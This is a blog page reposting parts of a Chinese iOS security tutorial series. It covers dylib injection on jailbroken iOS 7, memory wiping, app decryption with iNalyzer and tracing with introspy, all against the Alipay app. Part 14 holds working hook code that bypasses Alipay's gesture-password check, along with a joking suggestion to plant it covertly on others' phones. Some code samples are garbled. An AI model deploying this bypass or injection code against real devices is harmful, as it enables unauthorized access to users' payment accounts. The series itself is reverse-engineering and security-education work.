iOS安全攻防

iOS越狱与安全攻防实战技巧 本文介绍了iOS越狱后的多项安全攻防技术,包括通过launchd启动shell、使用zip替代tar进行数据压缩传输、编写Cycript自动接听脚本、SSLTheft注入与NSURLConnection钩子技术、SpringBoard启动注入实验、PBKDF2加密主密钥、代码优化对反汇编的影响,以及应用程序篡改响应机制的构建。 阅读详情

iOS安全攻防(十二):iOS7的动态库注入

iOS系统不断升级,结构不断调整,所以我们可以利用的动态库注入方法也根据系统版本的不同而不同。

 

在此之前,我们可以利用环境变量 DYLD_INSERT_LIBRARY 来添加动态库,iOS7被成功越狱后,我们需要自己去探索实践iOS7动态库注入的方式。

 

本文将在iOS7.0.4环境下,以 hook 支付宝app 程序中 ALPLauncherController 的视图加载方法为例,介绍在iOS7下,如何实现动态库注入攻击。

 

相关工具位置信息

先总结罗列一下相关编译、链接工具的位置路径信息,在各位自行下载的iOS SDK中

clang  :    /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang

gcc     :    /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/arm-apple-darwin10-llvm-gcc-4.2

ld         :   /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/ld

                /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld

sdk     :   /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7.0.sdk/

 

动态库源程序

我们编写一个 hook 支付宝app 程序中 ALPLauncherController 的 viewDidLoad 方法,具体方法是利用 Method Swizzling 。

 

不熟悉 Method Swizzling 的话,可以参看我之前的这篇文章:Objective-C的hook方案(一): Method Swizzling 

 
  1. #import <UIKit/UIKit.h>   
  2. #import <objc/runtime.h>   
  3.    
  4. @implementation UIViewController (HookPortal)   
  5.    
  6. -(void)myViewDidLoad   
  7. {   
  8.     NSLog(@"----------------------- myViewDidLoad ----------------------");   
  9. }   
  10.    
  11. @end   
  12.    
  13. static void __attribute__((constructor)) initialize(void)   
  14. {   
  15.     NSLog(@"======================= initialize ========================");   
  16.        
  17.     Class class = objc_getClass("ALPLauncherController");   
  18.     Method ori_Method =  class_getInstanceMethod(class, @selector(viewDidLoad));   
  19.     Method my_Method = class_getInstanceMethod(class, @selector(myViewDidLoad));   
  20.     method_exchangeImplementations(ori_Method, my_Method);   
  21. }   

编译dylib

我们可以利用xcode直接帮忙编译.o,或者自己手动使用clang编译,然后手动ld:

ld -dylib -lsystem -lobjc  -syslibroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS7.0.sdk/ -o libwq.dylib xxx.o  

 

安置、验证dylib

将编译好的 libwq.dylib 拷贝到iPhone 文件系统中 /Library/MobileSubstrate/DynamicLibraries/ 下

如果不放心库是否能正常工作,可以加一步验证操作,写一个demo尝试打开自己的库:

 
  1. voidvoid *handle = (void*)dlopen("/Library/MobileSubstrate/DynamicLibraries/libwq.dylib", 0x2);   
  2. handle = dlsym(handle, "myViewDidLoad");   
  3. if (handle) {   
  4.     NSLog(@"++++");   
  5. }else{   
  6.     NSLog(@"----");   
  7. }   

运行检验效果

到了验证效果的时候,重启设备后者执行:

 
  1. killall SpringBoard   

启动支付宝app,然后观察log信息:

 
  1. Portal[3631] <Notice>: MS:Notice: Injecting: com.alipay.iphoneclient [Portal] (847.21)   
  2. Portal[3631] <Notice>: MS:Notice: Loading: /Library/MobileSubstrate/DynamicLibraries/libwq.dylib   
  3. Portal[3631] <Warning>: ======================= initialize ========================   
  4. Portal[3631] <Warning>: ----------------------- myViewDidLoad ----------------------   

证明我们的动态库已经被加载, 我们的Hook 也成功了。

 

剩下的就要自己去思考了,除了加句无聊的Log,我们还可以做点什么呢?


 iOS安全攻防(十三):数据擦除
对于敏感数据,我们不希望长时间放在内存中,而希望使用完后立即就被释放掉。
 
但是不管是ARC还是MRC,自动释放池也有轮循工作周期,我们都无法控制内存数据被擦除的准确时间,让hackers们有机可乘。
 
本文介绍一个小技巧——及时数据擦除。
 
 
假如一个View Controller A的一个数据被绑在一个property上,
 
  1. @interface WipingMemoryViewController : UIViewController   
  2.    
  3. @property (nonatomic,copy) NSString *text;   
  4. @end   
 
 当A push到 另外一个View Controller B时,该数据还是有可能被读到的
 
  1. WipingMemoryViewController *lastController = (WipingMemoryViewController *)self.navigationController.viewControllers[0];   
  2. NSLog(@"text = %@",lastController.text);   
 
于是,“用后即擦”变得十分必要:
 
  1. _text = [[NSString alloc]initWithFormat:@"information"];    
  2. NSLog(@"Origal string = %@",_text);   
  3. //do something...   
  4. charchar *string = (charchar *)CFStringGetCStringPtr((CFStringRef)_text, CFStringGetSystemEncoding());   
  5. memset(string, 0, [_text length]);   
  6. NSLog(@"final text = %@",_text);   
 
Log输出如下:
 
  1. WipingMemory[2518:70b] Origal string = information   
  2. WipingMemory[2518:70b] final text =    
 
可以看到,我们想要保护的数据,被有效的擦除了。
 
还有提个醒,如果是这样
 
  1. _text = @"information";   
 
创建的字符串,是会被分配到data区,而是无法修改的。
 
如果有兴趣也有闲心,可以试试运行下面的代码,有彩蛋哦:
 
  1. _text = @"information";   
  2. memset((__bridge voidvoid *)(_text), 0, _text.length - 1);   
  3. NSString *myString = [[NSString alloc]initWithFormat:@"information"];   
  4. NSLog(@"Origal text : %@ \n",myString);   
 
 
编译器把两个information的省略到一个地址了~

iOS安全攻防(十四):Hack实战——支付宝app手势密码校验欺骗
在 iOS安全攻防(十一):Hack实战——探究支付宝app手势密码 中,介绍了如何利用gdb分析app,确定了支付宝app的手势密码格式为字符串,9个点分别对应123456789。在 iOS安全攻防(十二):iOS7的动态库注入 中,介绍了如果利用越狱大神们为我们开辟的iOS7动态库注入方法。
 
本文将继续深入hack实战,hook支付宝手势密码校验操作,欺骗其通过任意手势输入。
 
那么到现在为止,我们已经掌握了什么信息呢?
1)一个名叫 GestureUnlockViewController 的类,含有 gestureInputView:didFinishWithPassword: 方法,来处理输入的手势
2)正确的手势密码通过一个名叫 GestureUtil 的类读取,方法是 getPassword 
 
思路马上清晰了,我们需要做2步:
1)hook getPassword 存下正确的密码
2)hook gestureInputView:didFinishWithPassword:  替换当前输入为正确的密码
 
一个关键点,我们是用 Method Swizzling来hook,那么就意味操作不能过早,因为我们要保证在取到 GestureUnlockViewController 和 GestureUtil class后,才能进行imp替换。
所以, 我采用NSNotificationCenter通知机制协助完成任务。
  
  1. #import <objc/runtime.h>   
  2. #import <UIKit/UIKit.h>   
  3.    
  4. IMP ori_getPasswd_IMP = NULL;   
  5. IMP ori_gesture_IMP = NULL;   
  6.    
  7. @interface NSObject (HackPortal)   
  8.    
  9. @end   
  10.    
  11. @implementation NSObject (HackPortal)   
  12.    
  13. + (id)getPassword   
  14. {   
  15.     NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));   
  16.     return passwd;   
  17. }   
  18.    
  19. - (void)gestureInputView:(id)view didFinishWithPassword:(id)password   
  20. {   
  21.     password = ori_getPasswd_IMP(self, @selector(getPassword));   
  22.     ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);   
  23. }   
  24.    
  25. @end   
  26.    
  27. @implementation PortalListener   
  28.    
  29. - (id)init   
  30. {   
  31.     self = [super init];   
  32.     if (self) {   
  33.         [[NSNotificationCenter defaultCenter]addObserver:self   
  34.                                                 selector:@selector(appLaunched:)   
  35.                                                     name:UIApplicationDidBecomeActiveNotification   
  36.                                                   object:nil];   
  37.     }   
  38.     return self;   
  39. }   
  40.    
  41. - (void)appLaunched:(NSNotification *)notification   
  42. {   
  43.     Class class_GestureUtil = NSClassFromString(@"GestureUtil");   
  44.     Class class_PortalListener = NSClassFromString(@"PortalListener");   
  45.     Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));   
  46.     ori_getPasswd_IMP = method_getImplementation(ori_Method);   
  47.     Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));   
  48.     method_exchangeImplementations(ori_Method, my_Method);   
  49.        
  50.     Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");   
  51.     Method ori_Method1 = class_getInstanceMethod(class_Gesture,   
  52.                                                  @selector(gestureInputView:didFinishWithPassword:));   
  53.     ori_gesture_IMP = method_getImplementation(ori_Method1);   
  54.     Method my_Method1 = class_getInstanceMethod(class_PortalListener,   
  55.                                                 @selector(gestureInputView:didFinishWithPassword:));   
  56.     method_exchangeImplementations(ori_Method1, my_Method1);   
  57. }   
  58.    
  59. -(void)dealloc   
  60. {   
  61.     [[NSNotificationCenter defaultCenter]removeObserver:self];   
  62. }   
  63.    
  64. @end   
  65.    
  66. static void __attribute__((constructor)) initialize(void)   
  67. {   
  68.     static PortalListener *entrance;   
  69.     entrance = [[PortalListener alloc]init];   
  70. }   
OK!编译好动态库,塞进iPhone试试效果吧~
 
不管我们输入什么手势,都会被替换为正确的密码去给gestureInputView:didFinishWithPassword:验证,然后顺利解锁。
 
这意味着什么呢?
 
意味着,我们可以通过正规的渠道让用户下载这个动态库,然后悄悄放进越狱的iPhone的/Library/MobileSubstrate/DynamicLibraries/目录下……然后……然后去给妹纸帅锅变魔术吧:“你看,我和你多心有灵犀,你改什么密码我都猜的到!”

iOS安全攻防(十五):使用iNalyzer分析应用程序

好想用 doxygen 画iOS app的class继承关系。

有没有比 class-dump-z 更直观的分析工具?

利器 iNalyzer 隆重登场~

 

一、iNalyzer的安装

在iPhone端:

1)进入cydia添加源 http://appsec-labs.com/cydia/

2)搜索 iNalyzer 并安装

 

二、Doxygen和Graphviz的安装

在Mac端:

brew install doxygen graphviz

 

三、解密支付宝app

1)查看可解密的app

  
  1. cd /Applications/iNalyzer5.app   
  2. ./iNalyzer5    
  3.    
  4. usage: ./iNalyzer5 [application name] [...]   
  5. Applications available: Portal Tenpay    

 

2)解密支付宝app

  
  1. ./iNalyzer5 Portal   
  2.    
  3. got params /var/mobile/Applications/4763A8A5-2E1D-4DC2-8376-6CB7A8B98728/Portal.app/ Portal.app 800 iNalyzer is iNalyzing Portal...   
  4. iNalyzer:crack_binary got /var/mobile/Applications/4763A8A5-2E1D-4DC2-8376-6CB7A8B98728/Portal.app/Portal /tmp/iNalyzer5_3f0d8773/Payload/Portal.app/Portal Dumping binary...helloooo polis?   
  5. helloooo polis?   
  6. iNalyzer:Creating SnapShot into ClientFiles   
  7. iNalyzer:SnapShot Done   
  8. iNalyzer:Population Done   
  9. iNalyzer:Dumping Headers   
  10. iNalyzer:Patching Headers   
  11. /bin/sh: /bin/ls: Argument list too long   
  12. ls: cannot access *_fixed: No such file or directory   
  13.     /var/root/Documents/iNalyzer/支付宝钱包-v8.0.0.ipa   

将解密后的ipa拷贝到本地

 

四、修改doxMe.sh脚本

解压ipa, cd 到 /支付宝钱包-v8.0.0/Payload/Doxygen 下找到 doxMe.sh

  
  1. #!/bin/sh   
  2.    
  3. /Applications/Doxygen.app/Contents/Resources/doxygen dox.template && open ./html/index.html   

 

我们是通过brew安装的 doxygen,所以修改脚本为:

  
  1. #!/bin/sh   
  2.    
  3. doxygen dox.template && open ./html/index.html   

 

五、执行doxMe.sh脚本

  
  1. ./doxMe.sh    

完成后浏览器会自动 open 生成的html文件

 

六、查看信息

通过index.html我们可以直观的查看到 Strings analysis , ViewControllers,Classes 等几大类的信息。

在Classes->Class Hierarchy 可以查看到类继承图示。

 

支付宝app class Hierarchy 结果冰山一角:


iOS安全攻防(十六):使用introspy追踪分析应用程序

如果你已阅读了《iOS安全攻防》系列专栏之前的文章,一定已经对静态以及运行时分析app有了一定的了解。

 

我们可以借助的分析工具很多,工具和工具之间一般没有什么优劣比较性,完全看个人习惯什么擅长什么。

 

多个工具多条路,那么本文将介绍追踪分析利器introspy。

 

对应iOS系统版本,下载适用的introspy工具包:introspy下载地址传送门

 

下载后,将其拷贝到设备中,并执行安装命令:

  
  1. # dpkg -i com.isecpartners.introspy-v0.4-iOS_7.deb  

 重启设备:

  
  1. # killall SpringBoard   

到设置中,就可以查看到instrospy的设置选项了

在Introspy-Apps中选择要跟踪的app名称。

Instrospy-Settings则提供一些常规跟踪设置选项,默认是全部开启。

然后启动想要跟踪的应用程序,就可以直接查看log获取Instrospy为我们跟踪捕获的信息,这里以跟踪支付宝app为例。

 

打开支付宝app,选择添加银行卡,随意添加一个卡号,然后点击下一步

 

支付宝app反馈添加失败,该卡暂不支持,Instrospy捕获的信息也很清晰:

 

追踪信息被保存为一个数据库introspy-com.alipay.iphoneclient.db,存放在:

./private/var/mobile/Applications/4763A8A5-2E1D-4DC2-8376-6CB7A8B98728/Library/introspy-com.alipay.iphoneclient.db

 

也可以借助Introspy-Analyzer在本地将该数据库解析成一个直观的report.html查看 

 

Introspy-Analyzer下载地址传送门

 

将introspy-com.alipay.iphoneclient.db拷贝到本地,执行:

  
  1. python introspy.py -p ios --outdir Portal-introspy-html introspy-com.alipay.iphoneclient.db   

 

就会生成一个 Portal-introspy-html  文件夹,该目录下有 report.html ,用浏览器打开:

  
  1. open report.html    

就可以清晰的查看追踪信息了,主要分为DataStorage、IPC、Misc、Network、Crypto六大类信息。

 

举个例子,选择Crypto可以查看支付宝app采取了什么加密措施,如果你看过我之前的文章,一定会一眼就认出来手势密码的:

 

 

IOS APP 逆向安全攻防入门 iOS APP 逆向安全攻防的几个简单方法。 以下提供几个简单的检测机制,来检测APP是否经过非正规途径进行安装,我们可以通过这些方法进行安全防护操作。 A. 检查 BundleID 采用MonkeyDev 重签名,会更改 BundleID func checkBundleID() { let infoDic = Bundle.main.infoDictionary let bundleID = infoDic?["CFBundleIdentifier"] as? String if 阅读详情

相关推荐

22、iOS安全攻防:ROP利用与内核调试实战解析

本文深入解析了iOS安全攻防中的ROP利用与内核调试技术,详细介绍了ROP技术的原理、应用场景及在JailBreakMe v3中的实战利用,同时探讨了iOS内核调试的方法、挑战与发展趋势。通过具体代码示例和调试过程,帮助读者理解如何绕过系统安全机制并挖掘内核漏洞。适用于安全研究人员、iOS开发者及对移动安全技术感兴趣的技术爱好者。

fern8的博客 187

iOS安全攻防(十五):使用iNalyzer分析应用程序

好想用 doxygen 画iOS app的class继承关系。 有没有比 class-dump-z 更直观的分析工具? 利器 iNalyzer 隆重登场~ 一、iNalyzer的安装 在iPhone端: 1)进入cydia添加源 http://appsec-labs.com/cydia/ 2)搜索 iNalyzer 并安装 二、Doxygen和Graphviz的安装

logcabin的专栏 984

iOS应用安全攻防

iOS 安全 攻防,英语好的直接撸就好了,英语不好的权当学英语了

使用Introspy-Android:动态检测Android应用的安全助手

使用Introspy-Android:动态检测Android应用的安全助手 Introspy-AndroidSecurity profiling for blackbox Android项目地址:https://gitcode.com/gh_mirrors/in/Introspy-Android 在移动安全领域中,了解应用程序运行时的行为以及识别潜在的安全问题至关重要。这就是Introspy-A...

gitblog_00013的博客 370

IOS应用安全攻防

《IOS应用安全攻防》PDF高清电子书,不过是英文的。

高清完整版 IOS应用安全攻防

高清完整版 IOS应用安全攻防

iOS安全攻防(十六):使用introspy追踪分析应用程序

使用introspy追踪分析应用程序 如果你已阅读了《iOS安全攻防》系列专栏之前的文章,一定已经对静态以及运行时分析app有了一定的了解。 我们可以借助的分析工具很多,工具和工具之间一般没有什么优劣比较性,完全看个人习惯什么擅长什么。 多个工具多条路,那么本文将介绍追踪分析利器introspy。 对应iOS系统版本,下载适用的introspy工具包:i

sharpyl的专栏 1001

自动化专业与嵌入式

在学生时期,我是一个典型的学渣,所以只能选择电气工程、汽修、数控之类的专业。而那些高分的则可以选择计算机,电子商务,通信之类的。这些专业看起来像是蓝领和白领的分界,至今我都觉得这种制度是不人性化的。专业这块根据学生的爱好去选择是最好的,毕竟有兴趣才会”真心”去学习。谁说学渣就学不会编程、学不会金融对吧?不过也罢,在学校能学到东西的毕竟是少数,最近有些大学生发了他们的课程表给我看了下。我感觉学的太广了,什么单片机、c语言、java之类的,导致很多学生学完以后还是很迷茫,不知道自己专业到底是从事什么方向的。所以

m0_71017841的博客 3588

对抗性测试:mirrors/unsloth/llama-3-8b-bnb-4bit安全防护能力评估

mirrors/unsloth/llama-3-8b-bnb-4bit作为基于Meta Llama 3架构的4位量化模型,在提供高效AI推理能力的同时,其安全防护体系备受关注。本文将从对抗性测试角度,全面评估该模型的安全防护能力,为开发者部署安全可靠的LLM应用提供关键参考。 ## 🔍 模型安全防护体系概览 mirrors/unsloth/llama-3-8b-bnb-4bit继承了Llam

gitblog_00740的博客 1045

R语言vegan包实战:用varpart函数搞定生态学VPA分析(附完整代码与数据集)

本文详细介绍了如何使用R语言vegan包中的varpart函数进行生态学方差分解分析(VPA),包括数据准备、模型构建、结果解读和可视化呈现。通过完整的代码示例和数据集,帮助研究者理解不同环境因子对生物群落变化的相对贡献,并掌握显著性检验等高级技巧。

weixin_42525005的博客 447

ROS——无人机ROS仿真包 rotors_simulator 编译教程

文章目录 安装wstool sudo apt install python3-wstool 创建ROS工程 $ mkdir -p ~/UAV/src $ cd ~/UAV/src $ catkin_init_workspace # initialize your catkin workspace $ wstool init 下载源码 git clone git@github.com:ethz-asl/rotors_simulator.git 源码链接: https://github.com/eth

漫长IT路 5863

iOS攻防 - (八)使用Introspy追踪和分析iOS应用

使用Introspy追踪和分析iOS应用转载自:http://wiki.jikexueyuan.com/project/ios-security-defense/introspy.html如果你已阅读了《 iOS 安全攻防》系列专栏之前的文章,一定已经对静态以及运行时分析 App 有了一定的了解。我们可以借助的分析工具很多,工具和工具之间一般没有什么优劣比较性,完全看个人习惯什么擅长什么。多个工具多

VictorZhang 1726

手把手教你用Gazebo+ROS搭建智能小车机械臂系统(含完整配置文件)

本文提供了一份详细的实践指南,手把手教你使用Gazebo和ROS搭建智能小车机械臂仿真系统。内容涵盖从URDF/Xacro模型设计、Gazebo控制器配置到ROS话题通信与系统集成的完整流程,并提供了可复用的配置文件与调试技巧,帮助开发者快速构建并控制一个功能完备的移动操作机器人平台。

sugar的博客 971

iOS 安全攻防系列

念茜的博客

且行且看 716

基于人脸识别的智能门禁系统设计

在当前的技术背景下,本文精心打造了一款前沿的视频识别门禁控制系统。在进行调试的时候使用的软件是Keil,编写完代码,生成文件后用下载器下载到单片机上,就能够进行程序的调试了,本次设计实现了预先设定的目标,达到了预期的效果。本次设计的人脸识别的门禁控制系统其硬件部分是以STM32F103C8T6为核心的单片机,采用0V2640摄像头对人员的人脸识别,采用矩阵按键对系统的操作以及密码的输入,使用蜂鸣器来作为报警模块,开门装置是电子锁控制,显示设备采用OLED液晶显示,无线模块在一番思索后选择了蓝牙模块传输。

2401_86147581的博客 1296

CSM中一些常见问题的解决方式

CSM中一些常见问题的解决方式 抖动 摄像机在每帧移动或者旋转时,会产生较严重的抖动问题。

小龙虾的博客 2130

iOS安全攻防-李文瀚-专题视频课程

关于iOS应用开发的安全,这块内容可无限的深入和延展 1.苹果的签名机制 2.代码注入的原理 3.HOOK的原理剖析 4.防护进阶 所有的防护,是要了解进攻的原理. 所有的破解,也需了解防护的原理....

IM_Hank的博客 4300

微信小程序- 云开发上传并部署云函数时报错ResourceNotFound.Function, 未找到函数版本,请创建后再试。(小程序上传部署云函数提示错误,开发控制台中的云函数没有删除,详细排查)

微信小程序——云函数上传失败,微信小程序——解决上传并部署云函数时报错ResourceNotFound.Function, 未找到函数版本,请创建后再试。微信小程序上传云函数失败,微信小程序云开发|Error: ResourceNotFound.FunctionName, FunctionName 指定的资源不存在。微信云开发报错(Error: ResourceNotFound.FunctionName,微信小程序云函数报错,上传云函数 sum 失败 Error:,上传部署我们的云函数 2. 报错 错误信息

🏆 前端领域优质创作者 4313

iOS 逆向 - 应用安全攻防(越狱与非越狱)

1️⃣ : 代码混淆可以很有效的大量增加攻击者的分析耗时 , 增大干扰性 .2️⃣ : 代码混淆可以很轻松的对已有工程进行处理 .3️⃣ : 加入混淆后对正向人员正常开发基本没有影响 .4️⃣ : 完全可以利用宏定义的机制 , 灵活处理 , 例如类名方法名每次运行都是随机字符串 .单一的防护手段往往不足以保证安全 , 多重防护手段结合使用 , 能起到更好效果 .不要给防护代码留下明显的痕迹 , 尤其在UI层面 ( 例如闪退 , 弹框等等 ) .

网络安全学习教程分享 2288

用AList挂载网盘,无损看VR电影教程,无需下载到PICO头显本地!

用AList挂载网盘 + WebDAV直连头显,看片像拉本地一样流畅,不怕卡顿、不怕没空间,简直是VR看片刚需配置!别再用U盘传电影了,用AList + WebDAV,直接流畅看4K,看片效率翻倍,体验提升一个档次!

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 5536

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

iOS安全攻防—目录

一.工具篇&amp;amp;amp;Cycript 1.常用APP安装以及环境配置 2.集成非越狱调试工具 3.Cycript安装以及使用 4.Shell脚本 二.初识汇编 1.汇编概述 2.总线 3.进制 4.寄存器 三.函数的本质 1.栈 2.bl&amp;amp;amp;ret指令 3.函数的参数和返回值 4.函数的局部变量与嵌套调用 四.还原高级代码&amp;amp;amp;状态寄存器 1.状态寄存器 2.找到内存中不同的...

十二指环的博客 536

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

iOS逆向安全攻防 /逆向 /砸壳/重签名/Hook/越狱/汇编/APP防护

iOS逆向安全攻防 /逆向 /砸壳/重签名/Hook/越狱/汇编/APP防护

zygx8的博客 755

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

iOS安全攻防:Fishhook、数据保护API以及基于脚本实现动态库注入

iOS安全攻防(十七):Fishhook   众所周知,Objective-C的首选hook方案为Method Swizzle,于是大家纷纷表示核心内容应该用C写。   接下来进阶说说iOS下C函数的hook方案,先介绍第一种方案---fishhook .   什么是fishhook fishhook是facebook提供的一个动态修改链接Mach-O符号

brasbug的专栏 1178

ios 静态方法是否能被重写_iOS安全攻防:static和被裁的符号表,Objective-C代码混淆,敏感逻辑的保护方案(1)...

本文是《iOS安全攻防》的22、23、24小结内容。此前内容可参看:《iOS安全攻防》iOS安全攻防(二十二):static和被裁的符号表为了不让攻击者理清自己程序的敏感业务逻辑,于是我们想方设法提高逆向门槛。本文就介绍一个防御技巧————利用static关键字裁掉函数符号。原理如果函数属性为 static ,那么编译时该函数符号就会被解析为local符号。在发布release程序时(用Xcode...

weixin_36342477的博客 353
上一篇: iOS安全攻防:Fishhook、数据保护API以及基于脚本实现动态库注入
下一篇: 蓝牙设计
宇之楓鷙
博客等级 码龄17年 5粉丝 10原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值